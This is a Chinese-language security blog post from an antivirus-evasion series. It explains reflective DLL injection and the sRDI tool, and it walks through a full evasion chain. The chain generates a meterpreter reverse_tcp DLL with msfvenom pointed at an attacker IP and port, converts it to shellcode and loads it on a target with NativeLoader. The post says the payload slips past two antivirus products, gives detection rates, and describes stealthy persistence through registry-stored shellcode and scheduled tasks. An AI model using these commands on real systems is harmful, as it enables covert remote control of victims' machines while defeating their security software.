【免杀72】sRDI反射型DLL注入免杀
2023-2-20 00:1:49 Author: 白帽子(查看原文) 阅读量:96 收藏

2020年初,从网上搜集了多种免杀工具和方式,汇总整理了远控免杀专题文章的工具篇、代码篇、白名单篇等,共70篇文章。现时隔一年,计划把这个系列继续补充一些,内容也都是来自互联网,汇总到一起只是方便大家查阅参考,如有侵权请联系删除。有些免杀方式已经效果一般,但很多思路还是值得去学习的。 

免杀专题已完成的文章及相关软件下载:https://github.com/TideSec/BypassAntiVirus

免杀专题在线文库:https://www.yuque.com/tidesec/bypassav

本文内容参考节选自以下资料:

sRDI项目地址:https://github.com/monoxgas/sRDI

反射型DLL注入工具-sRDI:https://zhuanlan.zhihu.com/p/96484140

1、DLL 注入

在认识反射型DLL注入之前,我们先来了解下什么是DLL注入。

DLL是windows平台提供的一种模块共享和重用机制,它本身不能直接独立运行,但可以被加载到其他进程中间接执行。DLL注入,是将代码插入/注入到正在运行的进程中的过程。本来是软件用于向其他程序添加/扩展功能、调试或逆向工程的一种合法技术。例如,没有它,debug 调试器就不能运行。不过,后来恶意软件也常用这种方式来干坏事,恶意软件通常采用 DLL 注入在另一进程的存储空间内伪装其操作,是一种广泛应用于恶意软件和无文件攻击中的逃避技术。
  • 常规的dll注入姿势
  1. VirtualAllocEx 在目标进程内存空间申请内存,WriteProcessMemory 写入dll路径,CreateRemoteThread 创建远程线程调用 LoadLibrary 加载dll;
  2. CreateRemoteThread 可被 替换为其他创建线程的API(例如:RtlCreateUserThread,或者挂起线程修改线程上下文再还原等等),减少被拦截的风险
  3. 替换程序运行时会加载的dll;
  4. 修改注册表键值AppInit_dll,程序启动时如果加载了USER32.dll,就会自动加载该键值下的有效dll;
  5. SetWindowsHookEx挂钩,IAT_HOOK,InLine_HOOK等(本质也是让目标进程执行自己的代码)(x86与x64下InLine_HOOK略有不同);
  6. dll加载顺序挟持(Dll Search Order Hijacking);

2、反射型 DLL 注入

反射DLL注入用于将DLL加载到进程中,不需要使用LoadLibrary这一函数,而是自己来实现整个装载过程,不必将其放置在主机的文件系统上。我们可以为待注入的DLL添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是装载它自身。那么我们只需要将这个DLL文件写入目标进程的虚拟空间中,然后通过DLL的导出表找到这个ReflectiveLoader并调用它,我们的任务就完成了。

  • 反射DLL 注入的思路
  1. 打开目标进程并分配内存。
  2. 将 DLL 复制到分配的内存中。
  3. 将入口点函数名称的哈希值和该函数的所有参数复制到 DLL 之后的内存空间中。
  4. 复制一些引导程序的 shellcode,该 shellcode 调用带有指向在第3步中复制的数据的指针的修改的反射式加载器。
  5. 使用 shellcode 开头的地址作为入口点,在目标进程中创建一个远程线程。
  • 反射DLL 注入的实现
  1. 使用 RWX 权限打开目标进程,并为 DLL 分配足够大的内存。
  2. 将 DLL 复制到分配的内存空间中。
  3. 计算 DLL 中用于执行反射加载的导出的内存偏移量。
  4. 使用反射性加载器函数的偏移地址作为入口,调用 CreateRemoteThread(或等效的未公开的 API 函数,如 RtlCreateUserThread)开始在远程进程中执行。
  5. 反射式加载器功能使用适当的 CPU 寄存器查找目标进程的进程环境块(PEB),并使用该寄存器在内存 kernel32.dll 和任何其他所需库中查找地址。
  6. 解析的 KERNEL32 出口目录中找到所需的 API 功能,如内存地址 LoadLibraryA,GetProcAddress和VirtualAlloc。
  7. 然后使用这些函数将 DLL(自身)正确加载到内存中,并调用其入口点 DllMain。

3、反射式注入与常规注入的不同

  1. 内存中直接展开,无需.dll文件存在;

  2. 反射式注入方式并没有通过LoadLibrary等API来完成DLL的装载,DLL并没有在操作系统中”注册”自己的存在,因此ProcessExplorer等软件也无法检测出进程加载了该DLL。利用解密磁盘上加密的文件、网络传输等方式避免文件落地,DLL文件可以不一定是本地文件,可来自网络等,总之将数据写到缓冲区即可。

  3. 由于它没有通过系统API对DLL进行装载,操作系统无从得知被注入进程装载了该DLL,所以检测软件也无法检测它。同时,由于操作流程和一般的注入方式不同,反射式DLL注入被安全软件拦截的概率也会比一般的注入方式低。

1、关于sRDI

sRDI它可以基于 Shellcode 实现反射型 DLL 注入,并且能够将 DLL 转换为独立的 Shellcode。

项目地址:https://github.com/monoxgas/sRDI

相对于标准 RDI,使用 sRDI 的一些优点:

  • 你可以转换任何 DLL为无位置依赖的 shellcode,并且可以使用标准的 shellcode 注入技术来使用它。
  • 你的 DLL 中不需要写任何反射加载器代码,因为反射加载器是在 DLL 外部的 shellcode 中实现的。
  • 合理使用权限,没有大量的 RWX 权限数据。
  • 还可以根据选项,抹掉 PE 头特征。

2、sRDI组成

sRDI 的所有功能基于以下两个组件:

一个C语言项目,可将 PE Loader 编译为 Shellcode 转换代码负责将 DLL、RDI 和用户数据进行绑定 由以下元素组成:

  • ShellcodeRDI:编译 DLL 加载器的 Shellcode
  • NativeLoader:需要时,将 DLL 转换为 shellcode,然后注入内存
  • DotNetLoader:NativeLoader 的 C# 实现
  • Python \ ConvertToShellcode.py:将 DLL 转换为 shellcode
  • Python \ EncodeBlobs.py:对已编译的 sRDI 进行编码,进行静态嵌入
  • PowerShell \ ConvertTo-Shellcode.ps1:将 DLL 转换为 shellcode
  • FunctionTest:导入 sRDI 的 C 函数,进行调试测试
  • TestDLL:示例DLL,包括两个导出函数,用于后续的加载和调用

DLL 不需要使用 RDI 进行编译,但是该技术具有交叉兼容性。

3、sRDI技术优势

  • 隐秘的持久性
  1. 使用服务器端 Python 代码(sRDI)将 RAT 转换为 shellcode
  2. 将 shellcode 写入注册表
  3. 设置计划的任务以执行基本的加载程序 DLL
  4. 加载程序读取 shellcode 并注入(少于20行C代码)

优点:RAT 或加载器都不需要了解 RDI 或使用 RDI 进行编译。装载机可以保持小巧而简单,避免警告。

  • 侧面加载
  1. 让你的 RAT 在内存中运行
  2. 编写 DLL 以执行额外的功能
  3. 将 DLL 转换为 shellcode(使用 sRDI)并本地注入
  4. 使用 GetProcAddressR 查找导出的函数
  5. 执行 X 次附加功能,而无需重新加载 DLL

优点:使您的初始工具更轻巧,并根据需要添加功能。加载一次 DLL 并像使用其他任何 DLL 一样使用它。

  • 依赖关系
  1. 从磁盘读取现有的合法 API DLL
  2. 将 DLL 转换为 shellcode(使用 sRDI)并将其加载到内存中
  3. 使用 GetProcAddress 查找所需的功能

优点:避免使用监视工具来检测 LoadLibrary 调用。访问 API 函数而不会泄漏信息。(WinInet,PSApi,TlHelp32,GdiPlus)

使用 python 将 DLL 转换为 shellcode

from ShellcodeRDI import *

dll = open("TestDLL_x86.dll"'rb').read()
shellcode = ConvertToShellcode(dll)

使用 C# 加载程序将 DLL 加载到内存中

DotNetLoader.exe TestDLL_x64.dll

使用 python 脚本转换 DLL 并使用本机 EXE 加载

python ConvertToShellcode.py TestDLL_x64.dll
NativeLoader.exe TestDLL_x64.bin

使用 powershell 转换 DLL 并使用 Invoke-Shellcode 加载

Import-Module .\Invoke-Shellcode.ps1
Import-Module .\ConvertTo-Shellcode.ps1
Invoke-Shellcode -Shellcode (ConvertTo-Shellcode -File TestDLL_x64.dll)

sRDI 是使用Visual Studio 2015(v140)和 Windows SDK 8.1 构建的。python 脚本是使用 Python 3 编写的。

Python和Powershell脚本位于:

Python\ConvertToShellcode.py
PowerShell\ConvertTo-Shellcode.ps1

构建项目后,其他二进制文件将位于:

bin\NativeLoader.exe
bin\DotNetLoader.exe
bin\TestDLL_<arch>.dll
bin\ShellcodeRDI_<arch>.bin

在使用VS2017编译时,会报错MSB8020 无法找到 v140 的生成工具(平台工具集 =“v140”)。若要使用 v140 生成工具进行生成,请安装 v140 生成工具,这是因为sRDI 是使用Visual Studio 2015(v140),而VS2017是v141,这时候需要在项目属性里设置平台工具集为v141。

然后”重新生成解决方案“

若不能解决问题,可以关闭VS,然后把工程目录下的.vs隐藏文件夹删了,再打开VS试试。

使用Msf生成dll

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -f dll -o shell32.dll

使用ConvertToShellcode.py来将dll转为bin

python3 ConvertToShellcode.py shell32.dll

在目标机器使用NativeLoader.exe shell32.bin即可加载。

火绒和360全程无报警。

而使用processhacker等工具很难发现痕迹。

NativeLoader.exe文件查杀率16/61。

shell32.bin文件查杀率13/53。

反射型DLL注入工具-sRDI:https://zhuanlan.zhihu.com/p/96484140

反射式dll注入:https://blog.csdn.net/weixin_43956962/article/details/105843803

反射型dll注入:https://yaoyue123.github.io/2021/01/31/Windows-Reflective-dllinject/

DLL注入新姿势-反射式DLL注入研究:https://www.cnblogs.com/h2zZhou/p/7721797.html

E

N

D

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246525&idx=2&sn=4b4a7e7ab65fb55067474763209d70b8&chksm=82ea56d4b59ddfc2a77e973b13d00a95c0fc4ed9015528b8903846cdffb6dce075a77fa3431c#rd
如有侵权请联系:admin#unsafe.sh